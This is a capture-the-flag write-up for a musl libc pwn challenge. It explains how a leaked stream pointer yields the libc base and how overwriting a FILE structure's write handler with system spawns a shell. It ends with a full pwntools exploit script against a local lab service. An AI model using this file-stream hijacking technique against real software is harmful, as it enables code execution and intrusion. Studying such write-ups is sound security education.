Flash CTF - fsiiiul

fsiiiul Writeup

Overview

fsiiiul is a musl libc pwn challenge served over TCP by socat. main opens a stream with fopencookie, prints one of the pointers that live inside it, and then passes the FILE * itself as the destination of read, so everything we send lands on the stream's own fields. The printed pointer gives us the libc base, and musl reaches the function pointers inside that structure on the next stream operation, so we overwrite the stored write handler with system and let the first eight bytes of the structure, /bin/sh, be its argument.

Solution

First contact‍

$ nc localhost 9000
i am trying but somehow segmentation fault doesnot go ~!!!
stream write handler: 0x7ed6f2941de0

One complaint and one address, then it waits. Throwing bytes at it ends the way the banner warns:‍‍

$ python3 -c "import sys; sys.stdout.write('A'*80)" | nc localhost 9000
i am trying but somehow segmentation fault doesnot go ~!!!
stream write handler: 0x765af8ef3de0

The connection drops right there with nothing else printed.

Reading the handout

The handout is a compose file and the build context behind it: the binary, the musl it is linked against, and main.c. The whole challenge is the tail of main:

fp = fopencookie(&cookie, "w", memfile_func);

printf("stream write handler: %p\n", ((void **)fp)[9]);

char buffer[0xe0] = {0x0};
size_t initial = read_chunk(fp, 0xe0);
fread(buffer, 0x1, 0x20, fp);
size_t final = read_chunk(fp, 0xe0);
fflush(fp);

‍
The destination is fp, not buffer. There is no overflow to hunt for and no allocator to abuse: the program hands us 0xe0 bytes of write access to a live FILE, twice, and then does stream work on it. read_chunk is only a wrapper around read that keeps filling at fp + got until it has the whole 0xe0 bytes, the peer hangs up, or a hundred milliseconds pass with nothing arriving. That last part matters later: our payload is shorter than 0xe0, so the program moves on by itself once we stop typing.

The Dockerfile fills in the other half of the picture. patchelf --set-interpreter /app/libc.so points the binary at the musl build shipped next to it, so every pointer inside the FILE is a musl address rather than a glibc one.

musl's FILE is much flatter than glibc's, and every field that matters sits in the first 0x50 bytes:

0x00 flags      0x28 wpos
0x08 rpos       0x30 mustbezero_1
0x10 rend       0x38 wbase
0x18 close      0x40 read
0x20 wend       0x48 write

fopencookie fills read, write, seek and close with musl's own wrappers, so write at 0x48 holds a pointer to cookiewrite inside libc. 0x48 is the ninth pointer in the structure, which is exactly what the banner prints.

Turning the leak into a base‍

‍

$ nm chal/libc.so | grep -E " (cookiewrite|system)$"
0000000000054de0 t cookiewrite
000000000004955a T system

‍

The low twelve bits of the leak are 0xde0, the same as cookiewrite's offset, which confirms what we are looking at. libc is mapped page aligned, so subtracting the offset gives the base and everything else in libc follows from it:‍

$ python3 -c "print(hex(0x7ed6f2941de0 - 0x54de0))"
0x7ed6f28ed000

‍

The gadget musl hands us

Every read on a musl stream goes through __toread first, and that function is the whole trick:‍

int __toread(FILE *f)
{
	f->mode |= f->mode-1;
	if (f->wpos != f->wbase) f->write(f, 0, 0);
	f->wpos = f->wbase = f->wend = 0;
	if (f->flags & F_NORD) {
		f->flags |= F_ERR;
		return EOF;
	}
	...
}

‍
If wpos and wbase disagree, musl calls f->write(f, 0, 0). The first argument is the FILE * itself, so whatever pointer sits at 0x48 gets called with rdi pointing at the first byte of the structure. Put system there and the flags field doubles as the command string. The fread two lines below the first read_chunk is what sets that off.

Laying out the structure

The payload is exactly 0x50 bytes, and its length matters as much as its contents. Anything past the write pointer has to keep the value fopencookie gave it:

fp  = b"/bin/sh\x00"        # 0x00 flags, and later the argument handed to system
fp += pack(0x0)             # 0x08 rpos
fp += pack(0x0)             # 0x10 rend
fp += pack(0x0)             # 0x18 close
fp += pack(0x0) * 0x3       # 0x20 wend, 0x28 wpos, 0x30 mustbezero_1
fp += pack(0x1)             # 0x38 wbase, deliberately different from wpos
fp += pack(0x0)             # 0x40 read
fp += pack(base + 0x4955a)  # 0x48 write, system

Two details make the rest of the structure safe to leave alone. read is zeroed at 0x40, but the flags field now reads as /bin, which has F_NORD set, so __toread bails out with EOF right after the call and fread never dereferences that null. And fflush on the last line is a red herring: by the time it runs, __toread has already zeroed wpos and wbase, so they match and nothing more is called.

Picking up the shell

Send the 0x50 bytes, give the program half a second so read_chunk stops waiting for the rest and fread fires, then talk to what answers:

uid=10001(app) gid=10001(app) groups=10001(app)
/app
Dockerfile
challenge
entrypoint.sh
flag.txt
libc.so
main.c
SkillBit{anotherfsopbutcchesssyheheheh~~~~}

system("/bin/sh") runs with stdin and stdout still wired to the socket, so the connection just becomes a shell, as the service user, sitting in /app next to the flag.

Nothing is guessed and nothing is retried, so the whole exploit is one connection and a handful of lines:

from pwn import *

io = remote("localhost", 9000)        # a remote instance is behind TLS, so pass ssl=True
io.recvline()
base = int(io.recvline().split()[-1], 16) - 0x54DE0

fp = b"/bin/sh\x00" + p64(0) * 6 + p64(1) + p64(0) + p64(base + 0x4955A)
io.send(fp)
sleep(0.5)

io.sendline(b"cat flag.txt")
print(io.recvall(timeout=1).decode())

‍
SkillBit{anotherfsopbutcchesssyheheheh~~~~}

The sleep is the only delicate part. It has to outlast the hundred milliseconds read_chunk waits, so that fread fires and spawns the shell before cat flag.txt arrives. Send the command too early and it is consumed as payload instead.

‍

Trust our customers

Interested in joining our team? Let’s connect!